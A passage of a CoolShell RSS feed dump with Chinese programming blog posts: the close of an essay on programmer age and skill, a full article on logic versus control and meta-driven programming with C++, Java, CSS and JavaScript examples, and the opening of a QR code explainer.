srcset=\"https://coolshell.cn/wp-content/uploads/2013/11/StackOverflow-Analysis-03.jpg 1101w, https://coolshell.cn/wp-content/uploads/2013/11/StackOverflow-Analysis-03-300x90.jpg 300w, https://coolshell.cn/wp-content/uploads/2013/11/StackOverflow-Analysis-03-1024x307.jpg 1024w\" sizes=\"(max-width: 771px) 100vw, 771px\" /></p>\n<h5 style=\"text-align: left;\">结论</h5>\n<p>论文的结论是：</p>\n<p style=\"padding-left: 30px;\"><strong>1）程序员技术能力上升是可以到50岁或60岁的。</strong></p>\n<p style=\"padding-left: 30px;\"><strong>2）老程序员在获取新技术上的能力并不比年轻的程序员差。</strong></p>\n<h4 style=\"text-align: left;\">我的一些感受</h4>\n<p style=\"text-align: left;\">最后，我说一说我的一些感受：</p>\n<ul>\n<li>这些年来的对于外企和国内感受—— <strong>国外牛B的IT公司的工程能力并不见得比国内的要强多少，但是国外那些NB的IT公司的架构和设计能力远远超过国内的公司，最可怕的是，那些有超强架构和设计能力的“老程序员们”还战斗在一线，这些战斗在一线的老鸟的能力绝对超过100个普能的新手。</strong></li>\n</ul>\n<ul>\n<li>对年轻程序员的感受——国内新一代的程序员们太浮燥了。<strong>老实说，对于大多数人来说，如果你没有编程到30岁，你还不能成为一个“合格”的程序员</strong>。<span style=\"color: #cc0000;\"><strong>所以，并不是编程编到30岁就玩完了，而是编程编到30岁才刚刚入门。</strong><span style=\"color: #000000;\">这些不合格的程序，整天BS这个不好，那个不好的，而且喜欢速成，好大喜功。</span></span></li>\n</ul>\n<ul>\n<li>我是一个奔四的人了，编程就像登山一样，越往上爬人越少，所以，在我这个年纪还有想法，对编程还有热情的人不多了，基本上都是转Manager了。<span style=\"color: #cc0000;\"><strong>其实，什么职位，Title都是虚的，公司没了什么都没了，只有技术才是硬通货。而且，越是这个年纪还在玩编程玩技术的人，其实其经验和能力都是比较强的，都是中坚力量，如果还有其它这个年纪和我一样的人，求交往</strong></span>。</li>\n</ul>\n<p style=\"text-align: left;\">（全文完）</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li><li ><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/01/remote-150x150.jpg\" alt=\"MegaEase的远程工作文化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_title\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/10688.html\">编程能力与编程年龄</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/10688.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>472</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t</channel>\n</rss>\n"
  },
  {
    "path": "blogs/rss/feed-8.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><rss version=\"2.0\"\n\txmlns:content=\"http://purl.org/rss/1.0/modules/content/\"\n\txmlns:wfw=\"http://wellformedweb.org/CommentAPI/\"\n\txmlns:dc=\"http://purl.org/dc/elements/1.1/\"\n\txmlns:atom=\"http://www.w3.org/2005/Atom\"\n\txmlns:sy=\"http://purl.org/rss/1.0/modules/syndication/\"\n\txmlns:slash=\"http://purl.org/rss/1.0/modules/slash/\"\n\t>\n\n<channel>\n\t<title>第 8 页 &#8211; 酷 壳 &#8211; CoolShell</title>\n\t<atom:link href=\"https://coolshell.cn/feed?paged=8\" rel=\"self\" type=\"application/rss+xml\" />\n\t<link>https://coolshell.cn</link>\n\t<description>享受编程和技术所带来的快乐 - Coding Your Ambition</description>\n\t<lastBuildDate>Thu, 31 Oct 2013 08:54:31 +0000</lastBuildDate>\n\t<language>zh-CN</language>\n\t<sy:updatePeriod>\n\thourly\t</sy:updatePeriod>\n\t<sy:updateFrequency>\n\t1\t</sy:updateFrequency>\n\t<generator>https://wordpress.org/?v=6.2</generator>\n\t<item>\n\t\t<title>程序的本质复杂性和元语言抽象</title>\n\t\t<link>https://coolshell.cn/articles/10652.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/10652.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[Todd]]></dc:creator>\n\t\t<pubDate>Thu, 31 Oct 2013 00:00:09 +0000</pubDate>\n\t\t\t\t<category><![CDATA[编程语言]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=10652</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>（感谢 @文艺复兴记（todd） 投递此文） 组件复用技术的局限性 常听到有人讲“我写代码很讲究，一直严格遵循DRY原则，把重复使用的功能都封装成可复用的组件，...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/10652.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/10652.html\">程序的本质复杂性和元语言抽象</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><strong>（感谢 <a href=\"http://weibo.com/weidagang\" target=\"_blank\">@文艺复兴记</a>（todd） 投递此文）</strong></p>\n<h4>组件复用技术的局限性</h4>\n<p>常听到有人讲“我写代码很讲究，一直严格遵循<a href=\"http://en.wikipedia.org/wiki/Don't_repeat_yourself\">DRY原则</a>，把重复使用的功能都封装成可复用的组件，使得代码简短优雅，同时也易于理解和维护”。显然，DRY原则和组件复用技术是最常见的改善代码质量的方法，不过，在我看来以这类方法为指导，能帮助我们写出“不错的程序”，但还不足以帮助我们写出简短、优雅、易理解、易维护的“好程序”。对于熟悉Martin Fowler《重构》和GoF《设计模式》的程序员，我常常提出这样一个问题帮助他们进一步加深对程序的理解：</p>\n<blockquote><p>如果目标是代码“简短、优雅、易理解、易维护”，组件复用技术是最好的方法吗？这种方法有没有根本性的局限？</p></blockquote>\n<p>虽然基于函数、类等形式的组件复用技术从一定程度上消除了冗余，提升了代码的抽象层次，但是这种技术却有着本质的局限性，其根源在于 <strong>每种组件形式都代表了特定的抽象维度，组件复用只能在其维度上进行抽象层次的提升</strong>。比如，我们可以把常用的HashMap等功能封装为类库，但是不管怎么封装复用类永远是类，封装虽然提升了代码的抽象层次，但是它永远不会变成Lambda，而实际问题所代表的抽象维度往往与之并不匹配。</p>\n<p>以常见的二进制消息的解析为例，组件复用技术所能做到的只是把读取字节，检查约束，计算CRC等功能封装成函数，这是远远不够的。比如，下面的表格定义了二进制消息X的格式：</p>\n<p><span id=\"more-10652\"></span></p>\n<pre>Message X:\n--------------------------------------------------------\n| ID |  Name           | Type    | Size | Constraints  |\n--------------------------------------------------------\n| 1  | message type    | int     | 1    | = 0x01       |\n--------------------------------------------------------\n| 2  | payload size    | int     | 2    | &gt; 0          |\n--------------------------------------------------------\n| 3  | payload         | bytes   | &lt;2&gt;  |              |\n--------------------------------------------------------\n| 4  | CRC             | int     | 4    |              |\n--------------------------------------------------------</pre>\n<p>它的解析函数大概是这个样子：</p>\n<pre data-enlighter-language=\"cpp\" class=\"EnlighterJSRAW\">\nbool parse_message_x(char* data, int32 size, MessageX&amp; x) {\n    char *ptr = data;\n    if (ptr + sizeof(int8) &lt;= data + size) {\n        x.message_type = read_int8(ptr);\n        if (0x01 != x.message_type) return false;\n        ptr += sizeof(int8);\n    } else {\n        return false;\n    }\n    if (ptr + sizeof(int16) &lt;= data + size) {\n        x.payload_size = read_int16(ptr);\n        ptr += sizeof(int16);\n    } else {\n        return false;\n    }\n    if (ptr + x.payload_size &lt;= data + size) {\n        x.payload = new int8[x.payload_size];\n        read(ptr, x.payload, x.payload_size);\n        ptr += x.payload_size;\n    } else {\n        return false;\n    }\n    if (ptr + sizeof(int32) &lt;= data + size) {\n        x.crc = read_int32(ptr);\n        ptr += sizeof(int32);\n    } else {\n        delete x.payload;\n        return false;\n    }\n    if (crc(data, sizeof(int8) + sizeof(int16) + x.payload_size) != x.crc) {\n        delete x.payload;\n        return false;\n    }\n    return true;\n}\n</pre>\n<p>很明显，虽然消息X的定义非常简单，但是它的解析函数却显得很繁琐，需要小心翼翼地处理很多细节。在处理其他消息Y时，虽然虽然Y和X很相似，但是却不得不再次在解析过程中处理这些细节，就是组件复用方法的局限性，它只能帮我们按照函数或者类的语义把功能封装成可复用的组件，但是消息的结构特征既不是函数也不是类，这就是抽象维度的失配。</p>\n<h4><a href=\"http://www.cnblogs.com/weidagang2046/p/the-nature-of-meta.html#-2\" name=\"-2\"></a>程序的本质复杂性</h4>\n<p>上面分析了组件复用技术有着根本性的局限性，现在我们要进一步思考：</p>\n<blockquote><p>如果目标还是代码“简短、优雅、易理解、易维护”，那么代码优化是否有一个理论极限？这个极限是由什么决定的？普通代码比起最优代码多出来的“冗余部分”到底干了些什么事情？</p></blockquote>\n<p>回答这个问题要从程序的本质说起。Pascal语言之父Niklaus Wirth在70年代提出：Program = Data Structure + Algorithm，随后逻辑学家和计算机科学家R Kowalski进一步提出：Algorithm = Logic + Control。谁更深刻更有启发性？当然是后者！而且我认为数据结构和算法都属于控制策略，综合二位的观点，加上我自己的理解，程序的本质是：Program = Logic + Control。换句话说，程序包含了逻辑和控制两个维度。</p>\n<p>逻辑就是问题的定义，比如，对于排序问题来讲，逻辑就是“什么叫做有序，什么叫大于，什么叫小于，什么叫相等”？控制就是如何合理地安排时间和空间资源去实现逻辑。逻辑是程序的灵魂，它定义了程序的本质；控制是为逻辑服务的，是非本质的，可以变化的，如同排序有几十种不同的方法，时间空间效率各不相同，可以根据需要采用不同的实现。</p>\n<p>程序的复杂性包含了本质复杂性和非本质复杂性两个方面。套用这里的术语， <strong>程序的本质复杂性就是逻辑，非本质复杂性就是控制</strong>。逻辑决定了代码复杂性的下限，也就是说不管怎么做代码优化，Office程序永远比Notepad程序复杂，这是因为前者的逻辑就更为复杂。如果要代码简洁优雅，任何语言和技术所能做的只是尽量接近这个本质复杂性，而不可能超越这个理论下限。</p>\n<p>理解&#8221;程序的本质复杂性是由逻辑决定的&#8221;从理论上为我们指明了代码优化的方向：让逻辑和控制这两个维度保持正交关系。来看Java的Collections.sort方法的例子：</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\ninterface Comparator&lt;T&gt; {\n    int compare(T o1, T o2);\n}\npublic static &lt;T&gt; void sort(List&lt;T&gt; list, Comparator&lt;? super T&gt; comparator)\n</pre>\n<p>使用者只关心逻辑部份，即提供一个Comparator对象表明序在类型T上的定义；控制的部分完全交给方法实现者，可以有多种不同的实现，这就是逻辑和控制解耦。同时，我们也可以断定，这个设计已经达到了代码优化的理论极限，不会有本质上比它更简洁的设计（忽略相同语义的语法差异），为什么？因为逻辑决定了它的本质复杂度，Comparator和Collections.sort的定义完全是逻辑的体现，不包含任何非本质的控制部分。</p>\n<p>另外需要强调的是，上面讲的“控制是非本质复杂性”并不是说控制不重要，控制往往直接决定了程序的性能，当我们因为性能等原因必须采用某种控制的时候，实际上被固化的控制策略也是一种逻辑。比如，当你的需求是“从进程虚拟地址ptr1拷贝1024个字节到地址ptr2“，那么它就是问题的定义，它就是逻辑，这时，提供进程虚拟地址直接访问语义的底层语言就与之完全匹配，反而是更高层次的语言对这个需求无能为力。</p>\n<p>介绍了逻辑和控制的关系，可能很多朋友已经开始意识到了上面二进制文件解析实现的问题在哪里，其实这也是 <strong>绝大多数程序不够简洁优雅的根本原因：逻辑与控制耦合</strong>。上面那个消息定义表格就是不包含控制的纯逻辑，我相信即使不是程序员也能读懂它；而相应的代码把逻辑和控制搅在一起之后就不那么容易读懂了。</p>\n<p>熟悉OOP和GoF设计模式的朋友可能会把“逻辑与控制解耦”与经常听说的“接口和实现解耦”联系在一起，他们是不是一回事呢？其实，把这里所说的逻辑和OOP中的接口划等号是似是而非的， 而GoF设计模式最大的问题就在于有意无意地让人们以为“what就是interface, interface就是what”，很多朋友一想到要表达what，要抽象，马上写个接口出来，这就是潜移默化的惯性思维，自己根本意识不到问题在哪里。其实，接口和前面提到的组件复用技术一样，同样受限于特定的抽象维度，它不是表达逻辑的通用方法，比如，我们无法把二进制文件格式特征用接口来表示。</p>\n<p>另外，我们熟悉的许多GoF模式以“逻辑与控制解耦”的观点来看，都不是最优的。比如，很多时候Observer模式都是典型的以控制代逻辑，来看一个例子：</p>\n<blockquote><p>对于某网页的超链接，要求其颜色随着状态不同而变化，点击之前的颜色是#FF0000，点击后颜色变成#00FF00。</p></blockquote>\n<p>基于Observer模式的实现是这样的：</p>\n<p>[javascript]<br />\n$(a).css(&#8216;color&#8217;, &#8216;#FF0000&#8217;);</p>\n<p>$(a).click(function() {<br />\n    $(this).css(&#8216;color&#8217;, &#8216;#00FF00&#8217;);<br />\n});<br />\n[/javascript]</p>\n<p>而基于纯CSS的实现是这样的：</p>\n<pre data-enlighter-language=\"css\" class=\"EnlighterJSRAW\">\na:link {color: #FF0000}\na:visited {color: #00FF00}\n</pre>\n<p>通过对比，您看出二者的差别了吗？显然，Observer模式包含了非本质的控制，而CSS是只包含逻辑。理论上讲，CSS能做的事情，JavaScript都能通过控制做到，那么为什么浏览器的设计者要引入CSS呢，这对我们有何启发呢？</p>\n<h4><a href=\"http://www.cnblogs.com/weidagang2046/p/the-nature-of-meta.html#-3\" name=\"-3\"></a>元语言抽象</h4>\n<p>好的，我们继续思考下面这个问题：</p>\n<blockquote><p>\n逻辑决定了程序的本质复杂性，但接口不是表达逻辑的通用方式，那么是否存在表达逻辑的通用方式呢？</p></blockquote>\n<p>答案是：有！这就是元(Meta)，包括元语言(Meta Language)和元数据(Meta Data)两个方面。元并不神秘，我们通常所说的配置就是元，元语言就是配置的语法和语义，元数据就是具体的配置，它们之间的关系就是C语言和C程序之间的关系；但是，同时元又非常神奇，因为元既是数据也是代码，在表达逻辑和语义方面具有无与伦比的灵活性。至此，我们终于找到了让代码变得简洁、优雅、易理解、易维护的终极方法，这就是： <strong>通过元语言抽象让逻辑和控制彻底解耦</strong>！</p>\n<p>比如，对于二进制消息解析，经典的做法是类似Google的<a href=\"http://code.google.com/p/protobuf/\">Protocol Buffers</a>，把消息结构特征抽象出来，定义消息描述元语言，再通过元数据描述消息结构。下面是Protocol Buffers元数据的例子，这个元数据是纯逻辑的表达，它的复杂度体现的是消息结构的本质复杂度，而如何序列化和解析这些控制相关的部分被Protocol Buffers编译器隐藏起来了。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nmessage Person {\n  required int32 id = 1;\n  required string name = 2;\n  optional string email = 3;\n}\n</pre>\n<p>元语言解决了逻辑表达问题，但是最终要与控制相结合成为具体实现，这就是元语言到目标语言的映射问题。通常有这两种方法：</p>\n<p>1) 元编程(Meta Programming)，开发从元语言到目标语言的编译器，将元数据编译为目标程序代码；</p>\n<p>2) 元驱动编程(Meta Driven Programming)，直接在目标语言中实现元语言的解释器。</p>\n<p>这两种方法各有优势，元编程由于有静态编译阶段，一般产生的目标程序代码性能更好，但是这种方式混合了两个层次的代码，增加了代码配置管理的难度，一般还需要同时配备Build脚本把整个代码生成自动集成到Build过程中，此外，和IDE的集成也是问题；元驱动编程则相反，没有静态编译过程，元语言代码是动态解析的，所以性能上有损失，但是更加灵活，开发和代码配置管理的难度也更小。除非是性能要求非常高的场合，我推荐的是元驱动编程，因为它更轻量，更易于与目标语言结合。</p>\n<p>下面是用元驱动编程解决二进制消息解析问题的例子，meta_message_x是元数据，parse_message是解释器：</p>\n<p>[javascript]<br />\nvar meta_message_x = {<br />\n    id: &#8216;x&#8217;,<br />\n    fields: [<br />\n        { name: &#8216;message_type&#8217;, type: int8, value: 0x01 },<br />\n        { name: &#8216;payload_size&#8217;, type: int16 },<br />\n        { name: &#8216;payload&#8217;, type: bytes, size: &#8216;$payload_size&#8217; },<br />\n        { name: &#8216;crc&#8217;, type: crc32, source: [&#8216;message_type&#8217;, &#8216;payload_size&#8217;, &#8216;payload&#8217;] }<br />\n    ]<br />\n}</p>\n<p>var message_x = parse_message(meta_message_x, data, size);<br />\n[/javascript]</p>\n<p>这段代码我用的是JavaScript语法，因为对于支持Literal的类似JSON对象表示的语言中，实现元驱动编程最为简单。如果是Java或C++语言，语法上稍微繁琐一点，不过本质上是一样的，或者引入JSON配置文件，然后解析配置，或者定义MessageConfig类，直接把这个类对象作为配置信息。</p>\n<p>二进制文件解析问题是一个经典问题，有Protocol Buffers、Android AIDL等大量的实例，所以很多人能想到引入消息定义元语言，但是如果我们把问题稍微变换，能想到采用这种方法的人就不多了。来看下面这个问题：</p>\n<blockquote><p>某网站有新用户注册、用户信息更新，和个性设置等Web表单。出于性能和用户体验的考虑，在用户点击提交表单时，会先进行浏览器端的验证，比如：name字段至少3个字符，password字段至少8个字符，并且和repeat password要一致，email要符合邮箱格式；通过浏览器端验证以后才通过HTTP请求提交到服务器。</p></blockquote>\n<p>普通的实现是这个样子的：</p>\n<p>[javascript]<br />\nfunction check_form_x() {<br />\n    var name = $(&#8216;#name&#8217;).val();<br />\n    if (null == name || name.length &lt;= 3) {<br />\n        return { status : 1, message: &#8216;Invalid name&#8217; };<br />\n    }</p>\n<p>    var password = $(&#8216;#password&#8217;).val();<br />\n    if (null == password || password.length &lt;= 8) {<br />\n        return { status : 2, message: &#8216;Invalid password&#8217; };<br />\n    }</p>\n<p>    var repeat_password = $(&#8216;#repeat_password&#8217;).val();<br />\n    if (repeat_password != password.length) {<br />\n        return { status : 3, message: &#8216;Password and repeat password mismatch&#8217; };<br />\n    }</p>\n<p>    var email = $(&#8216;#email&#8217;).val();<br />\n    if (check_email_format(email)) {<br />\n        return { status : 4, message: &#8216;Invalid email&#8217; };<br />\n    }</p>\n<p>    &#8230;</p>\n<p>    return { status : 0, message: &#8216;OK&#8217; };</p>\n<p>}<br />\n[/javascript]</p>\n<p>上面的实现就是按照组建复用的思想封装了一下检测email格式之类的通用函数，这和刚才的二进制消息解析非常相似，没法在不同的表单之间进行大规模复用，很多细节都必须被重复编写。下面是用元语言抽象改进后的做法：</p>\n<p>[javascript]<br />\nvar meta_create_user = {<br />\n    form_id : &#8216;create_user&#8217;,<br />\n    fields : [<br />\n        { id : &#8216;name&#8217;, type : &#8216;text&#8217;, min_length : 3 },<br />\n        { id : &#8216;password&#8217;, type : &#8216;password&#8217;, min_length : 8 },<br />\n        { id : &#8216;repeat-password&#8217;, type : &#8216;password&#8217;, min_length : 8 },<br />\n        { id : &#8217;email&#8217;, type : &#8217;email&#8217; }<br />\n    ]<br />\n};</p>\n<p>var r = check_form(meta_create_user);<br />\n[/javascript]</p>\n<p>通过定义表单属性元语言，整个逻辑顿时清晰了，细节的处理只需要在check_form中编写一次，完全实现了“简短、优雅、易理解、以维护”的目标。其实，不仅Web表单验证可以通过元语言描述，整个Web页面从布局到功能全部都可以通过一个元对象描述，完全将逻辑和控制解耦。此外，我编写的用于解析命令行参数的<a href=\"https://github.com/weidagang/line-parser-js\">lineparser.js</a>库也是基于元语言的，有兴趣的朋友可以参考并对比它和其他命令行解析库的设计差异。</p>\n<p>最后，我们再来从代码长度的角度来分析一下元驱动编程和普通方法之间的差异。假设一个功能在系统中出现了n次，对于普通方法来讲，由于逻辑和控制的耦合，它的代码量是n * (L + C)，而元驱动编程只需要实现一次控制，代码长度是C + n * L，其中L表示逻辑相关的代码量，C表示控制相关的代码量。通常情况下L部分都是一些配置，不容易引入bug，复杂的主要是C的部分，普通方法中C被重复了n次，引入bug的可能性大大增加，同时修改一个bug也可能要改n个地方。所以，对于重复出现的功能，元驱动编程大大减少了代码量，减小了引入bug的可能，并且提高了可维护性。</p>\n<h4><a href=\"http://www.cnblogs.com/weidagang2046/p/the-nature-of-meta.html#-4\" name=\"-4\"></a>总结</h4>\n<p>《人月神话》的作者Fred Brooks曾在80年代阐述了它对于软件复杂性的看法，即著名的<a href=\"http://en.wikipedia.org/wiki/No_Silver_Bullet\">No Silver Bullet</a>。他认为不存在一种技术能使得软件开发在生产力、可靠性、简洁性方面提高一个数量级。我不清楚Brooks这一论断详细的背景，但是就个人的开发经验而言，元驱动编程和普通编程方法相比在生产力、可靠性和简洁性方面的确是数量级的提升,在我看来它就是软件开发的银弹！<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/11629.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" alt=\"「我只是认真」聊聊工匠情怀\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11629.html\" class=\"wp_rp_title\">「我只是认真」聊聊工匠情怀</a></li><li ><a href=\"https://coolshell.cn/articles/7657.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/06/hudsonCI2-150x150.jpg\" alt=\"持续部署，并不简单！\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7657.html\" class=\"wp_rp_title\">持续部署，并不简单！</a></li><li ><a href=\"https://coolshell.cn/articles/4951.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/19.jpg\" alt=\"软件公司的两种管理方式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4951.html\" class=\"wp_rp_title\">软件公司的两种管理方式</a></li><li ><a href=\"https://coolshell.cn/articles/6312.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/4.jpg\" alt=\"一个女程序员的故事\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6312.html\" class=\"wp_rp_title\">一个女程序员的故事</a></li><li ><a href=\"https://coolshell.cn/articles/9508.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/04/Google-Person-Finder-150x150.png\" alt=\"PFIF网上寻人协议\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9508.html\" class=\"wp_rp_title\">PFIF网上寻人协议</a></li><li ><a href=\"https://coolshell.cn/articles/11973.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/09/bashbug-150x150.jpg\" alt=\"bash代码注入的安全漏洞\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11973.html\" class=\"wp_rp_title\">bash代码注入的安全漏洞</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/10652.html\">程序的本质复杂性和元语言抽象</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/10652.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>97</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>二维码的生成细节和原理</title>\n\t\t<link>https://coolshell.cn/articles/10590.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/10590.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 29 Oct 2013 00:32:35 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[Algorithm]]></category>\n\t\t<category><![CDATA[QR]]></category>\n\t\t<category><![CDATA[二维码]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=10590</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>二维码又称QR Code，QR全称Quick Response，是一个近几年来移动设备上超流行的一种编码方式，它比传统的Bar Code条形码能存更多的信息，也...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/10590.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/10590.html\">二维码的生成细节和原理</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>二维码又称QR Code，QR全称Quick Response，是一个近几年来移动设备上超流行的一种编码方式，它比传统的Bar Code条形码能存更多的信息，也能表示更多的数据类型：比如：字符，数字，日文，中文等等。这两天学习了一下二维码图片生成的相关细节，觉得这个玩意就是一个密码算法，在此写一这篇文章 ，揭露一下。供好学的人一同学习之。</p>\n<p>关于QR Code Specification，可参看这个PDF：<a href=\"http://raidenii.net/files/datasheets/misc/qr_code.pdf\" target=\"_blank\">http://raidenii.net/files/datasheets/misc/qr_code.pdf </a></p>\n<h4>基础知识</h4>\n<p>首先，我们先说一下二维码一共有40个尺寸。官方叫版本Version。Version 1是21 x 21的矩阵，Version 2是 25 x 25的矩阵，Version 3是29的尺寸，每增加一个version，就会增加4的尺寸，公式是：(V-1)*4 + 21（V是版本号） 最高Version 40，(40-1)*4+21 = 177，所以最高是177 x 177 的正方形。</p>\n<p>下面我们看看一个二维码的样例：</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter  wp-image-10592\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/10/QR-Code-Overview.jpeg\" width=\"616\" height=\"370\" srcset=\"https://coolshell.cn/wp-content/uploads/2013/10/QR-Code-Overview.jpeg 770w, https://coolshell.cn/wp-content/uploads/2013/10/QR-Code-Overview-300x180.jpeg 300w, https://coolshell.cn/wp-content/uploads/2013/10/QR-Code-Overview-768x461.jpeg 768w, https://coolshell.cn/wp-content/uploads/2013/10/QR-Code-Overview-450x270.jpeg 450w\" sizes=\"(max-width: 616px) 100vw, 616px\" /></p>\n<p style=\"text-align: left;\"><span id=\"more-10590\"></span></p>\n<h5 style=\"text-align: left;\">定位图案</h5>\n<ul>\n<li>Position 